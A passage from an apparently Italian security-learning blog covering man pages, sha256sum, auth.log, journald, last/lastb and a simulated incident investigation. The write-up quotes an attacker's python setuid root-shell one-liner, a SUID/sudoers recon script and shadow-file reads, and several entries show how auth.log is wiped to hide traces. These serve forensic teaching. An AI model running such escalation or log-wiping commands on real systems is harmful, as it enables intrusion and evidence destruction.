descrizioni brevi di tutte le pagine di manuale installate. È il Google interno del sistema - ma mostra solo quello che hai realmente disponibile su quella macchina.\napropos permission # output reale (varia per sistema) chmod (1) - change file mode bits chown (1) - change file owner and group chgrp (1) - change group ownership setfacl (1) - set file access control lists Il numero tra parentesi è la sezione del manuale: (1) = comandi utente, (8) = comandi di amministrazione. Per trovare tool di sistema, filtra sulla sezione 8:\napropos network | grep \u0026#34;(8)\u0026#34; apropos log | grep \u0026#34;(8)\u0026#34; apropos user | grep \u0026#34;(8)\u0026#34; Su un server sconosciuto per mappare cosa è installato:\napropos \u0026#34;packet capture\u0026#34; 2\u0026gt;/dev/null apropos forensic 2\u0026gt;/dev/null apropos \u0026#34;disk image\u0026#34; 2\u0026gt;/dev/null Il 2\u0026gt;/dev/null sopprime i warning se il database non è aggiornato. Per aggiornarlo dopo aver installato nuovi pacchetti:\nsudo mandb Step 2 - Sai il nome, vuoi i flag: --help # Sei nel mezzo di qualcosa e hai bisogno di un flag specifico. Non vuoi aprire un manuale. Usi --help.\ntar --help L'output è lungo. Filtralo:\ntar --help | grep extract tar --help | grep -i compress find --help | grep -i size -h è spesso un'abbreviazione di --help, ma attenzione: su alcuni comandi -h significa human-readable. Se non sei sicuro, usa --help.\nStep 3 - Sai il nome, vuoi capire: man # man apre la documentazione ufficiale del comando - scritta per la versione esatta installata su quel sistema. Più affidabile di qualsiasi risultato online per i dettagli di comportamento.\nman find man ssh man 5 sshd_config # sezione 5 = file di configurazione man 5 crontab # struttura del file crontab man 7 signal # tutti i segnali Unix Le sezioni risolvono l'ambiguità quando lo stesso nome esiste in contesti diversi:\nSezione Contiene Esempio 1 Comandi utente man 1 passwd → il comando 5 File di configurazione man 5 passwd → il file /etc/passwd 7 Concetti e protocolli man 7 tcp 8 Comandi di amministrazione man 8 useradd Navigazione interna # Le pagine man si aprono con less. Non leggerle dall'inizio - cerca quello che ti serve:\nTasto Azione /parola Cerca verso il basso n Occorrenza successiva N Occorrenza precedente G Vai alla fine g Vai all'inizio q Esci Flusso pratico:\nman sshd_config # poi dentro: /PasswordAuth # n per scorrere le occorrenze # trovi: PasswordAuthentication yes|no # q per uscire Questo è più affidabile di cercare online perché è la documentazione della versione installata - non di una versione diversa trovata su Stack Overflow.\nTrovare tutte le sezioni disponibili # man -f passwd # passwd (1) - change user password # passwd (5) - the password file man -f è identico a whatis.\nStep 4 - Hai un nome, cosa fa: whatis # Trovi un processo sconosciuto nei log o in ps aux. Una riga di descrizione è tutto quello che ti serve per capire se approfondire.\nwhatis rsyslog # rsyslog (8) - reliable and extended syslogd whatis atd # atd (8) - run jobs queued for later execution whatis rpcbind # rpcbind (8) - universal addresses to RPC program number mapper whatis è identico a man -f. Usa quello che ricordi più facilmente.\nLa mappa completa # graph LR A[apropos parola] --\u003e|\"trova comandi per funzione\"| B[lista comandi] B --\u003e|\"scegli il comando\"| C{Quanto dettaglio?} C --\u003e|\"solo i flag\"| D[\"comando --help\"] C --\u003e|\"voglio capire\"| E[\"man comando\"] C --\u003e|\"una riga basta\"| F[\"whatis comando\"] E --\u003e|\"cerco un flag specifico\"| G[\"/parola dentro man\"] Quando NON usarlo # man mostra la documentazione della versione installata. Se stai cercando comportamenti di una versione diversa, o vuoi confrontare implementazioni tra sistemi operativi, la documentazione locale non è sufficiente.\napropos dipende dal database whatis. Su sistemi appena configurati o con pacchetti installati di recente, il database potrebbe essere vuoto o incompleto - in quel caso apropos non trova nulla anche se il tool esiste. Soluzione: sudo mandb.\nexit 0 # La documentazione non è su internet. È sul server. È lì dal primo giorno, aggiornata alla versione installata, disponibile anche quando la rete non c'è.\napropos per trovare cosa non conosci. --help per ricordare cosa hai dimenticato. man per capire davvero. whatis per identificare quello che hai trovato.\nQuattro comandi. Zero dipendenze esterne.\nComandi usati: man · apropos · whatis Concetti correlati: system\n","date":"26 marzo 2026","externalUrl":null,"permalink":"/blog/offline-non-al-buio/","section":"Blog","summary":" TL;DR apropos parola trova il comando quando non ne conosci il nome comando --help ti dà i flag in cinque secondi senza uscire dal terminale man comando è il manuale completo, navigabile con /parola per cercare whatis comando ti dice in una riga cosa fa qualcosa che hai trovato nei log ▶ $ history man ls man 5 passwd man -k password man -f passwd apropos permission apropos -r \"^ssh\" whatis find tar --help tar --help | grep extract ","title":"Offline. Non al buio.","type":"blog"},{"content":" Cosa fa # Calcola l'hash SHA-256 di un file o di un flusso di dati. L'hash e' una stringa esadecimale di 64 caratteri che cambia completamente anche se viene modificato un solo bit del file originale. Permette di verificare che un file non sia stato alterato durante il trasferimento o nel tempo.\nSintassi # sha256sum [opzioni] file\nComandi essenziali # Comando Flag Significato flag Cosa fa sha256sum file.iso — — Calcola l'hash del file sha256sum file1 file2 — — Calcola hash di piu' file sha256sum -b file.iso -b binary Modalita' binaria — consigliata per ISO e immagini sha256sum -c checksum.txt -c check Verifica i file elencati nel file di checksum sha256sum -c --ignore-missing checksum.txt --ignore-missing — Verifica solo i file presenti, ignora quelli mancanti sha256sum * \u0026gt; checksum.txt — — Calcola hash di tutti i file e salva in checksum.txt Come funziona — l'hash come impronta digitale # File originale (1GB ISO) │ ▼ SHA-256 algorithm │ ▼ hash: a1b2c3d4e5f6... (64 caratteri esadecimali) Se anche un solo byte del file cambia, l'hash cambia completamente. Due file identici producono sempre lo stesso hash. Due file diversi (con probabilita' astronomicamente alta) producono hash diversi.\nsha256sum ubuntu.iso # a1b2c3d4... ubuntu.iso # Modifica un byte qualsiasi sha256sum ubuntu-modificata.iso # f9e8d7c6... ubuntu-modificata.iso # completamente diverso Verifica di un download # # Scenario: scarichi un\u0026#39;ISO e vuoi verificare che non sia corrotta # 1. Calcola l\u0026#39;hash dell\u0026#39;ISO scaricata sha256sum -b linuxmint-22-cinnamon-64bit.iso # 2. Confronta con l\u0026#39;hash pubblicato sul sito ufficiale # Output: # 3d3a99c9... linuxmint-22-cinnamon-64bit.iso # Se corrisponde → download integro # Se diverso → file corrotto o modificato, riscarica Verifica con file di checksum # # Molti progetti forniscono un file sha256sum.txt con gli hash di tutti i file # Struttura del file sha256sum.txt: # a1b2c3... file1.iso # d4e5f6... file2.iso # 789abc... file3.tar.gz # Verifica tutti i file presenti sha256sum -c sha256sum.txt # Output: # file1.iso: OK # file2.iso: FAILED # file3.tar.gz: OK # sha256sum: WARNING: 1 computed checksum did NOT match # Verifica solo i file che hai scaricato (ignora quelli mancanti) sha256sum -c --ignore-missing sha256sum.txt Uso in forensics — catena di custodia # # Acquisizione forense con dd + verifica hash sudo dd if=/dev/sdb of=/evidence/disk.img bs=4M status=progress # Calcola hash del disco originale sudo sha256sum /dev/sdb \u0026gt; /evidence/hash_originale.txt # Calcola hash della copia sha256sum /evidence/disk.img \u0026gt; /evidence/hash_copia.txt # Confronta diff /evidence/hash_originale.txt /evidence/hash_copia.txt # Nessun output = hash identici = copia forense verificata L'hash identico prova in tribunale che la copia non e' stata alterata.\nBaseline dei file di sistema # # Crea una baseline di hash per file critici sha256sum /etc/passwd /etc/shadow /etc/sudoers \u0026gt; /root/baseline.txt # Verifica in un secondo momento se qualcosa e\u0026#39; cambiato sha256sum -c /root/baseline.txt # /etc/passwd: OK # /etc/shadow: FAILED ← qualcuno ha modificato shadow # /etc/sudoers: OK sha256sum vs md5sum # md5sum → hash da 32 caratteri, INSICURO — collisioni note sha1sum → hash da 40 caratteri, DEPRECATO — vulnerabile sha256sum → hash da 64 caratteri, SICURO — standard attuale sha512sum → hash da 128 caratteri, piu\u0026#39; sicuro ma piu\u0026#39; lento Per verifica di integrità usa sempre sha256sum o superiore. md5sum e' utile solo per compatibilita' con sistemi legacy.\nCombinazioni utili # # Hash di un singolo file e salvalo sha256sum file.tar.gz | tee file.tar.gz.sha256 # Verifica rapida di due file identici sha256sum file1 file2 # Se le due righe iniziano con lo stesso hash → file identici # Hash di tutto il contenuto di una directory find /etc -type f -exec sha256sum {} \\; \u0026gt; /root/etc_baseline.txt Scenario Reale # Un analista deve verificare che i file di configurazione critici non siano stati modificati dopo un incidente. Aveva creato una baseline con sha256sum prima dell'incidente. Esegue sha256sum -c baseline.txt e trova che /etc/cron.d/backup ha un hash diverso — l'attaccante ha aggiunto un cron job malevolo.\nDove l'ho usato # Verifica integrita' copie forensi con dd Note personali # Important Scarica sempre il file di checksum dal sito ufficiale su una connessione separata dal file stesso. Se scarichi sia il file che il checksum dallo stesso server compromesso, l'attaccante puo' aver modificato entrambi.\nCollegato a # system — categoria incidents — categoria crypto — categoria dd — sha256sum verifica le copie create con dd cryptography — concetto di hash crittografico ","date":"26 marzo 2026","externalUrl":null,"permalink":"/comandi/sha256sum/","section":"Comandi","summary":"Calcola e verifica hash SHA-256 di file. Usato per verificare l'integrita' di download, immagini ISO, copie forensi e rilevare modifiche non autorizzate ai file.","title":"sha256sum - SHA-256 checksum","type":"comandi"},{"content":" Cosa fa # File di testo in /var/log/auth.log che raccoglie tutti gli eventi di autenticazione del sistema — login SSH, sudo, su, creazione e cancellazione utenti, sessioni PAM. E' scritto da rsyslog che riceve eventi dai servizi tramite il socket syslog. A differenza del journal di systemd, e' un file di testo modificabile da chiunque abbia accesso root.\nTL;DR # # Leggi in tempo reale sudo tail -f /var/log/auth.log # Filtra solo i login falliti grep \u0026#34;Failed password\u0026#34; /var/log/auth.log # Conta per IP grep \u0026#34;Failed password\u0026#34; /var/log/auth.log | awk \u0026#39;{print $(NF-3)}\u0026#39; | sort | uniq -c | sort -rn Struttura di una riga # 2026-03-25T00:52:56.715577+00:00 barno-server sshd[26654]: Accepted publickey for barno from 192.168.64.1 port 53834 ssh2 │ │ │ │ │ │ │ │ │ │ │ └─ messaggio evento │ │ │ │ └─ PID del processo │ │ │ └─ nome servizio │ │ └─ hostname │ └─ timezone offset └─ timestamp ISO 8601 Pattern chiave da riconoscere # # Login SSH riuscito con chiave pubblica Accepted publickey for barno from 192.168.64.1 port 53834 ssh2 # Login SSH riuscito con password Accepted password for barno from 192.168.64.1 port 53834 ssh2 # Login SSH fallito — utente inesistente Failed password for invalid user pippo from 192.168.64.1 port 53936 ssh2 pam_unix(sshd:auth): check pass; user unknown # Login SSH fallito — utente esistente, password sbagliata Failed password for barno from 192.168.64.1 port 53936 ssh2 # sudo riuscito sudo: barno : TTY=pts/0 ; PWD=/home/barno ; USER=root ; COMMAND=/usr/bin/apt update # sudo bloccato — non in sudoers sudo: barno : user NOT in sudoers ; TTY=pts/0 ; COMMAND=/usr/bin/cat /etc/shadow # su riuscito con login shell su[27176]: (to testuser) barno on pts/2 pam_unix(su-l:session): session opened for user testuser(uid=1001) # Creazione utente useradd[27123]: new user: name=testuser, UID=1001, GID=1001, home=/home/testuser # Cancellazione utente userdel[27211]: delete user \u0026#39;testuser\u0026#39; # Cron job di sistema (normale — compare ogni 5-10 minuti) CRON[26602]: pam_unix(cron:session): session opened for user root(uid=0) CRON[26602]: pam_unix(cron:session): session closed for user root auth.log vs journal vs btmp # auth.log journal (journald) btmp ──────────────────── ─────────────────────── ────────────────── testo in chiaro database binario binario alterabile da root FSS — modifiche rilevabili alterabile da root scritto da rsyslog scritto da systemd scritto da pam_faillog tutti gli eventi auth tutti gli eventi sistema solo login falliti grep funziona journalctl per leggere lastb per leggere Il journal e' piu' resistente alla manomissione grazie a FSS (Forward Secure Sealing - sigillatura sicura in avanti) — ogni blocco e' firmato crittograficamente. auth.log puo' essere svuotato silenziosamente con \u0026gt; /var/log/auth.log. La soluzione definitiva e' il log forwarding esterno — Wazuh lo fa al mese 3.\nComandi essenziali # # Lettura in tempo reale sudo tail -f /var/log/auth.log # Tutti i login falliti grep \u0026#34;Failed password\u0026#34; /var/log/auth.log # Solo i login SSH riusciti grep \u0026#34;Accepted\u0026#34; /var/log/auth.log # Tutti i sudo grep \u0026#34;sudo:\u0026#34; /var/log/auth.log # Tutti i cambi utente con su grep \u0026#34; su:\u0026#34; /var/log/auth.log # Creazione e cancellazione utenti grep -E \u0026#34;useradd|userdel|adduser\u0026#34; /var/log/auth.log # Conteggio login falliti per IP — script di triage grep \u0026#34;Failed password\u0026#34; /var/log/auth.log | awk \u0026#39;{print $(NF-3)}\u0026#39; | sort | uniq -c | sort -rn Scenario Reale # Un analista riceve un alert alle 03:14. Apre auth.log e cerca i pattern in sequenza:\ngrep \u0026quot;Accepted\u0026quot; /var/log/auth.log — c'e' stato un login riuscito? grep \u0026quot;Failed password\u0026quot; /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn — da quali IP vengono i tentativi? grep \u0026quot;sudo:\u0026quot; /var/log/auth.log — dopo il login, ha usato sudo? grep \u0026quot;useradd\\|userdel\u0026quot; /var/log/auth.log — ha creato o cancellato utenti? Se la sequenza e' \u0026quot;molti login falliti → login riuscito → sudo → useradd\u0026quot;, e' un pattern classico di compromissione.\nDove l'ho incontrato # Lab Ubuntu mercoledi' 25 marzo — primo contatto con log reali sudo — ogni sudo lascia traccia qui pam — ogni evento PAM finisce qui Collegato a # iam — categoria log — categoria pam — genera la maggior parte degli eventi journald — alternativa piu' resistente journalctl — per leggere il journal lastb — per i login falliti da btmp sudo — traccia tutti i comandi sudo ssh — traccia tutti i login SSH ","date":"25 marzo 2026","externalUrl":null,"permalink":"/concetti/auth-log/","section":"Concetti","summary":"auth.log e' il file di log delle autenticazioni su sistemi Debian/Ubuntu. Registra login SSH, sudo, su, adduser, userdel e ogni evento PAM. E' un file di testo alterabile da root - il journal e' piu' resistente alla manomissione.","title":"auth.log - log di autenticazione","type":"concetti"},{"content":" TL;DR testuser compare all'01:14, tenta l'escalation, poi viene cancellato alle 04:47 auth.log registra ogni evento: creazione, tre sudo falliti, disconnessione find / -uid 1001 2\u0026gt;/dev/null trova i file rimasti anche dopo userdel Cancellare un utente non cancella la sua storia - cancella solo il nome ▶ $ history grep -E \u0026quot;useradd|userdel\u0026quot; /var/log/auth.log grep \u0026quot;testuser\u0026quot; /var/log/auth.log last testuser find / -uid 1001 2\u0026gt;/dev/null cat /home/testuser/.bash_history journalctl --since \u0026quot;2026-03-25 04:40\u0026quot; Sono le 09:23. Il collega di guardia ha lasciato un messaggio su Slack prima di staccare il turno.\n\u0026quot;Ho visto una cosa strana stanotte. C'era un utente testuser che non ricordo di aver creato. L'ho cancellato, ma magari vale la pena guardare.\u0026quot;\nApro il terminale. getent passwd testuser non restituisce nulla - l'utente non esiste più. Ma l'assenza di un account non è l'assenza di una storia.\nLa cancellazione # Prima di tutto voglio sapere quando è arrivato e quando è sparito.\ngrep -E \u0026#34;useradd|userdel|new user|delete user\u0026#34; /var/log/auth.log # output simulato Mar 25 01:14:32 prod-server useradd[2847]: new user: name=testuser, UID=1001, GID=1001, home=/home/testuser, shell=/bin/bash Mar 25 04:47:11 prod-server userdel[3912]: delete user \u0026#39;testuser\u0026#39; Mar 25 04:47:11 prod-server userdel[3912]: removed group \u0026#39;testuser\u0026#39; owned by \u0026#39;testuser\u0026#39; Creato all'01:14. Cancellato alle 04:47. Tre ore e mezza di attività.\nNoto subito che il userdel non ha il flag -r. La home /home/testuser potrebbe essere ancora sul disco.\nls -la /home/testuser/ # output simulato drwxr-xr-x 3 1001 1001 4096 Mar 25 04:44 . drwxr-xr-x 8 root root 4096 Mar 25 01:14 .. -rw------- 1 1001 1001 847 Mar 25 04:44 .bash_history -rw-r--r-- 1 1001 1001 220 Mar 25 01:14 .bash_logout -rw-r--r-- 1 1001 1001 3526 Mar 25 01:14 .bashrc Esiste ancora. Il .bash_history è stato scritto alle 04:44 - tre minuti prima della cancellazione. Qualcuno ha usato la shell attivamente fino all'ultimo.\nLe sessioni # last testuser # output simulato testuser pts/1 192.168.64.47 Tue Mar 25 01:15 - 04:44 (03:29) Login da 192.168.64.47 - un IP interno. Non un attaccante esterno: qualcuno già dentro la rete, o una macchina compromessa.\nIl tentativo di escalation # Leggo tutto quello che auth.log sa di questo account.\ngrep \u0026#34;testuser\u0026#34; /var/log/auth.log # output simulato Mar 25 01:14:32 prod-server useradd[2847]: new user: name=testuser, ... Mar 25 01:15:08 prod-server sshd[2891]: Accepted password for testuser from 192.168.64.47 port 54219 ssh2 Mar 25 01:15:08 prod-server sshd[2891]: pam_unix(sshd:session): session opened for user testuser(uid=1001) by (uid=0) Mar 25 02:03:41 prod-server sudo: testuser : user NOT in sudoers ; TTY=pts/1 ; PWD=/home/testuser ; COMMAND=/usr/bin/id Mar 25 02:03:55 prod-server sudo: testuser : user NOT in sudoers ; TTY=pts/1 ; PWD=/home/testuser ; COMMAND=/bin/bash Mar 25 02:04:17 prod-server sudo: testuser : user NOT in sudoers ; TTY=pts/1 ; PWD=/usr/bin ; COMMAND=/usr/bin/python3 -c import os; os.setuid(0); os.system(\u0026#39;/bin/bash\u0026#39;) Mar 25 04:44:12 prod-server sshd[3901]: Disconnected from user testuser 192.168.64.47 port 54219 Tre tentativi sudo in 36 secondi. Il terzo è il più istruttivo: python3 -c \u0026quot;import os; os.setuid(0); os.system('/bin/bash')\u0026quot; - il classico tentativo di usare un interprete per bypassare i controlli shell. Qui non funziona perché sudo è bloccato, ma la tecnica mostra che chi era dietro la tastiera sapeva quello che faceva.\nI file rimasti # L'account è cancellato ma i file sul disco appartengono ancora all'UID 1001 - un numero senza più un nome. Questi si chiamano orphaned file: residui che sopravvivono alla cancellazione dell'utente.\nfind / -uid 1001 2\u0026gt;/dev/null # output simulato /home/testuser /home/testuser/.bash_history /home/testuser/.bash_logout /home/testuser/.bashrc /tmp/.priv_check.sh /tmp/.out Due file in /tmp con il punto iniziale per nasconderli da un ls normale. Non erano nella home.\ncat /tmp/.priv_check.sh # output simulato #!/bin/bash find / -perm -4000 -type f 2\u0026gt;/dev/null sudo -l 2\u0026gt;/dev/null id cat /etc/sudoers 2\u0026gt;/dev/null Uno script di ricognizione dei privilegi. Lo ha scritto o scaricato, eseguito, e dimenticato in /tmp.\ncat /tmp/.out # output simulato /usr/bin/sudo /usr/bin/newgrp /usr/bin/passwd /usr/bin/su /usr/bin/mount sudo: a password is required uid=1001(testuser) gid=1001(testuser) groups=1001(testuser) cat: /etc/sudoers: Permission denied L'output dell'esecuzione. Nessuna via: python3 senza SUID, sudo bloccato, sudoers inaccessibile. Ha cercato, non ha trovato, e si è fermato.\nIl .bash_history # cat /home/testuser/.bash_history # output simulato id whoami uname -a cat /etc/passwd cat /etc/shadow ls -la /usr/bin/python3 stat /usr/bin/python3 find / -perm -4000 -type f 2\u0026gt;/dev/null sudo id sudo /bin/bash sudo python3 -c \u0026#34;import os; os.setuid(0); os.system(\u0026#39;/bin/bash\u0026#39;)\u0026#34; cat /etc/sudoers bash .priv_check.sh ls /root ls /var/backups cat /var/backups/passwd.bak exit La sequenza è leggibile: identificazione del sistema → ricognizione SUID → tentativi sudo → esplorazione a mano → rinuncia. Tutto in ordine cronologico, tutto tracciato.\nChi ha cancellato l'account # Il log dice userdel[3912] ma non dice chi ha avviato il processo. Serve il journal - più resistente di auth.log alla manomissione.\njournalctl --since \u0026#34;2026-03-25 04:40\u0026#34; --until \u0026#34;2026-03-25 04:50\u0026#34; | grep -i \u0026#34;userdel\\|testuser\u0026#34; # output simulato Mar 25 04:46:58 prod-server sudo[3911]: barno : TTY=pts/0 ; PWD=/root ; USER=root ; COMMAND=/usr/sbin/userdel testuser barno - il collega di turno. Ha riconosciuto l'anomalia, ma invece di preservarla per l'analisi l'ha rimossa. Con buone intenzioni e procedura sbagliata.\nDietro le quinte # gantt dateFormat HH:mm axisFormat %H:%M section Attività testuser Creazione account :01:14, 1m Login SSH :01:15, 1m Ricognizione sistema :crit, 01:15, 49m Tentativi sudo :crit, 02:03, 2m Esplorazione manuale :02:05, 2h39m Disconnessione :04:44, 1m section Risposta Cancellazione account :04:47, 1m Kill chain # graph LR Creazione[\"Creazione\\ntestuser UID 1001\"] --\u003e Login[\"SSH login\\n192.168.64.47\"] Login --\u003e Recon[\"Ricognizione\\nSUID + sudoers\"] Recon --\u003e Escalation[\"3x sudo\\nfallito\"] Escalation --\u003e Esplora[\"Esplorazione\\n/root, /var/backups\"] Esplora --\u003e Exit[\"Disconnessione\\nexit\"] Exit --\u003e Cleanup[\"userdel testuser\\nda barno\"] Cleanup --\u003e Residui[\"Orphaned file\\n/tmp/.priv_check.sh\"] Comandi chiave # Tutti gli eventi di un utente in auth.log:\ngrep \u0026#34;testuser\u0026#34; /var/log/auth.log Creazione e cancellazione utenti:\ngrep -E \u0026#34;useradd|userdel|new user|delete user\u0026#34; /var/log/auth.log Orphaned file - UID senza account:\nfind / -uid 1001 2\u0026gt;/dev/null # UID specifico find / -nouser 2\u0026gt;/dev/null # tutti i file senza proprietario Sessioni di login (da wtmp):\nlast testuser Journal - più affidabile di auth.log:\njournalctl --since \u0026#34;2026-03-25 01:00\u0026#34; --until \u0026#34;2026-03-25 05:00\u0026#34; | grep testuser auth.log è un file di testo modificabile da root - può essere svuotato silenziosamente con \u0026gt; /var/log/auth.log. Il journal usa Forward Secure Sealing (FSS): ogni blocco è firmato crittograficamente, le modifiche sono rilevabili. Per incidenti seri, il journal è la fonte primaria.\nIoC # Tipo Valore Contesto MITRE ATT\u0026amp;CK Utente testuser UID 1001 Account creato e cancellato nella stessa notte T1136.001 IP 192.168.64.47 Origine connessione SSH interna T1021.004 File /tmp/.priv_check.sh Script ricognizione privilegi T1087.001 File /tmp/.out Output ricognizione - lasciato sul disco T1087.001 Tecnica sudo python3 -c \u0026quot;import os; os.setuid(0)...\u0026quot; Tentativo escalation via interprete T1548.003 Tecnica userdel senza -r Cancellazione incompleta - home e /tmp intatti T1070.001 Checklist post-mortem # Identificare la macchina 192.168.64.47 e verificarne lo stato Verificare come è stata ottenuta la password di testuser Cercare accessi dallo stesso IP nelle settimane precedenti Verificare accesso a /var/backups/passwd.bak - era nel bash_history Abilitare log forwarding esterno - auth.log locale è alterabile da root Configurare alert SIEM su eventi useradd e userdel exit 0 # Cancellare un account sospetto non è incident response. È contaminare la scena.\nQuello che ha salvato questa analisi è stata la combinazione di tre errori dell'attaccante: userdel senza -r, file lasciati in /tmp, e auth.log ancora intatto. In un sistema con log forwarding esterno non avremmo avuto bisogno di fortuna per ricostruire la timeline.\nLa prossima volta che trovi un utente sospetto: isolalo, non cancellarlo. Il nome si recupera in tre secondi. I log in memoria, la connessione TCP attiva, i file aperti - quelli no.\n⬇ Scarica il PDF Comandi usati: grep · find · last Concetti correlati: iam · observability Approfondimento tecnico: auth.log - log di autenticazione · PAM - Pluggable Authentication Modules\n","date":"25 marzo 2026","externalUrl":null,"permalink":"/blog/utente-cancellato-non-abbastanza/","section":"Blog","summary":" TL;DR testuser compare all'01:14, tenta l'escalation, poi viene cancellato alle 04:47 auth.log registra ogni evento: creazione, tre sudo falliti, disconnessione find / -uid 1001 2\u003e/dev/null trova i file rimasti anche dopo userdel Cancellare un utente non cancella la sua storia - cancella solo il nome ▶ $ history grep -E \"useradd|userdel\" /var/log/auth.log grep \"testuser\" /var/log/auth.log last testuser find / -uid 1001 2\u003e/dev/null cat /home/testuser/.bash_history journalctl --since \"2026-03-25 04:40\" ","title":"Cancellato. Ma non abbastanza.","type":"blog"},{"content":" Cosa fa # Demone del sistema che raccoglie log da tutte le sorgenti — kernel, servizi systemd, applicazioni — e li indicizza in un database binario strutturato in /run/log/journal/ (volatile) o /var/log/journal/ (persistente). Non si legge con cat o grep — si usa journalctl. Si distingue da auth.log per la resistenza alla manomissione grazie a FSS.\nTL;DR # kernel servizi systemd (sshd, cron, sudo...) applicazioni che scrivono su syslog │ ▼ systemd-journald │ ▼ /var/log/journal/ ← database binario strutturato │ ▼ journalctl ← unico modo per leggerlo correttamente journal vs auth.log — differenza chiave # auth.log journal ───────────────────────── ────────────────────────────── file di testo database binario grep funziona direttamente si legge con journalctl scritto da rsyslog scritto da systemd-journald solo eventi autenticazione TUTTI gli eventi di sistema alterabile con \u0026gt; auth.log FSS — modifiche rilevabili FSS — Forward Secure Sealing (sigillatura sicura in avanti) # FSS e' il meccanismo che rende il journal resistente alla manomissione. Ogni blocco di log viene firmato crittograficamente con una chiave che cambia nel tempo — anche se un attaccante modifica voci vecchie, la firma non torna valida.\n# Verificare l\u0026#39;integrita\u0026#39; del journal journalctl --verify # Output atteso su journal integro: # PASS: /var/log/journal/xxxx/system.journal auth.log non ha questo meccanismo — puo' essere svuotato silenziosamente:\n\u0026gt; /var/log/auth.log # svuota senza traccia La modifica al journal lascia una firma non valida rilevabile con --verify.\nDove vivono i log # /run/log/journal/ # volatile — sparisce al riavvio (default su alcuni sistemi) /var/log/journal/ # persistente — sopravvive al riavvio # Verificare quale e\u0026#39; attivo ls /var/log/journal/ # se vuoto o assente → i log sono solo in /run (volatili) # Abilitare la persistenza sudo mkdir -p /var/log/journal sudo systemd-tmpfiles --create --prefix /var/log/journal sudo systemctl restart systemd-journald Sorgenti dei log # SORGENTE COME ARRIVA A JOURNALD ──────────────────────── ───────────────────────────────────── kernel /dev/kmsg servizi systemd stdout/stderr dei processi applicazioni tradizionali socket /run/systemd/journal/syslog (rsyslog lo legge da qui e scrive auth.log) Questo spiega perche' auth.log e journal si sovrappongono per gli eventi SSH e sudo — entrambi ricevono gli stessi messaggi PAM, ma attraverso percorsi diversi.\nScenario Reale # Un attaccante con accesso root svuota auth.log per coprire le tracce:\n\u0026gt; /var/log/auth.log L'analista controlla auth.log e lo trova vuoto — nessuna traccia di accesso. Ma controlla anche il journal:\nsudo journalctl -u ssh --since \u0026#34;2 hours ago\u0026#34; Il journal mostra tutti i login SSH delle ultime 2 ore, incluso quello dell'attaccante. La firma FSS e' integra — nessuno ha manomesso il journal. auth.log era l'unico target perche' e' il piu' ovvio, ma il journal e' sopravvissuto.\nImportant La vera soluzione contro la manomissione dei log e' il forwarding esterno — mandare i log in tempo reale a un server separato (Wazuh al mese 3). Se la macchina e' compromessa, anche il journal locale non e' abbastanza.\nDove l'ho incontrato # journalctl — il comando per leggere il journal auth-log — alternativa basata su file di testo Collegato a # system — categoria log — categoria journalctl — comando per interrogare il journal auth-log — alternativa file di testo per gli eventi di autenticazione pam — genera eventi che finiscono sia in auth.log che nel journal systemctl — gestisce il demone journald ","date":"25 marzo 2026","externalUrl":null,"permalink":"/concetti/journald/","section":"Concetti","summary":"systemd-journald e' il demone che raccoglie e indicizza tutti i log di sistema in un database binario strutturato. A differenza di auth.log, usa FSS per rendere le modifiche rilevabili. Si legge con journalctl.","title":"journald - systemd-journald","type":"concetti"},{"content":"`\nCosa fa # last legge /var/log/wtmp e mostra la cronologia di tutti i login riusciti, logout e riavvii del sistema. lastb (last bad) legge /var/log/btmp e mostra i tentativi di login falliti. Entrambi i file sono binari — non si leggono con cat, si usano questi comandi.\nSintassi # last [opzioni] [utente] sudo lastb [opzioni] [utente]\nComandi essenziali # Comando Flag Significato flag Cosa fa last — — Tutti i login riusciti, logout e riavvii last barno — — Solo i login dell'utente barno last -n 20 -n number Mostra solo gli ultimi 20 eventi last -F -F Full Mostra data e ora complete (anno incluso) last reboot — — Solo i riavvii del sistema sudo lastb — — Tutti i login falliti (richiede sudo) sudo lastb -n 20 -n number Ultimi 20 login falliti sudo lastb utente — — Login falliti per un utente specifico lastlog — — Ultimo login di tutti gli utenti del sistema lastlog -u utente -u user Ultimo login di un utente specifico Leggere l'output # last # barno pts/1 192.168.64.1 Tue Mar 25 00:52 still logged in # barno pts/0 192.168.64.1 Mon Mar 24 23:52 - 00:41 (00:48) # reboot system boot Mon Mar 24 18:00 still running # ^ ^ ^ ^ ^ # utente terminale IP sorgente data/ora login durata o stato sudo lastb # pippo ssh:notty 192.168.64.1 Tue Mar 24 23:57 - 23:57 (00:00) # ^ ^ ^ ^ # utente tipo accesso IP sorgente timestamp tentativo wtmp vs btmp vs auth.log # wtmp btmp auth.log ────────────────── ────────────────── ────────────────────── login riusciti login falliti tutti gli eventi PAM logout — sudo, su, adduser... riavvii — — binario binario testo last per leggerlo lastb per leggerlo grep funziona alterabile da root alterabile da root alterabile da root Differenza tra lastb e grep su auth.log # lastb mostra solo i login falliti in formato tabellare con IP e timestamp. grep \u0026quot;Failed password\u0026quot; /var/log/auth.log mostra le stesse informazioni ma con piu' contesto — incluso il messaggio PAM completo e il tipo di autenticazione tentata. Per un'analisi rapida si usa lastb, per l'analisi forense si usa auth.log.\nCombinazioni utili # # Quanti login falliti in totale? sudo lastb | wc -l # IP piu\u0026#39; frequenti nei login falliti sudo lastb | awk \u0026#39;{print $3}\u0026#39; | sort | uniq -c | sort -rn | head -10 # Login riusciti dell\u0026#39;ultima settimana last -F | grep \u0026#34;$(date -d \u0026#39;7 days ago\u0026#39; \u0026#39;+%b\u0026#39;)\u0026#34; # Verificare se un utente specifico si e\u0026#39; mai loggato last testuser # se non c\u0026#39;e\u0026#39; output → non si e\u0026#39; mai loggato da quando wtmp esiste # Riavvii recenti — utile per timeline forense last reboot -F Scenario Reale # Durante l'investigazione sull'utente testuser che ha tentato di cancellarsi:\n# 1. Quando si e\u0026#39; loggato per la prima volta? last testuser -F # 2. Ha avuto login falliti prima di riuscire ad accedere? sudo lastb testuser # 3. Da quale IP si e\u0026#39; connesso? last testuser | awk \u0026#39;{print $3}\u0026#39; | sort -u # 4. C\u0026#39;e\u0026#39; stato un riavvio sospetto dopo il suo accesso? last reboot -F # Pattern sospetto: molti lastb → poi un last riuscito → poi sudo fallito # = brute force riuscito seguito da tentativo di escalation /var/log/btmp e /var/log/wtmp sono file binari — cat produce output incomprensibile o danneggia il terminale. Usa sempre lastb e last per leggerli. lastb richiede sudo perche' /var/log/btmp e' leggibile solo da root — le credenziali tentate (anche sbagliate) sono considerate informazioni sensibili. Dove l'ho usato # Lab Ubuntu mercoledi' 25 marzo — investigazione utente testuser auth-log — usato in parallelo per avere il contesto PAM completo Note personali # La combo sudo lastb | awk '{print $3}' | sort | 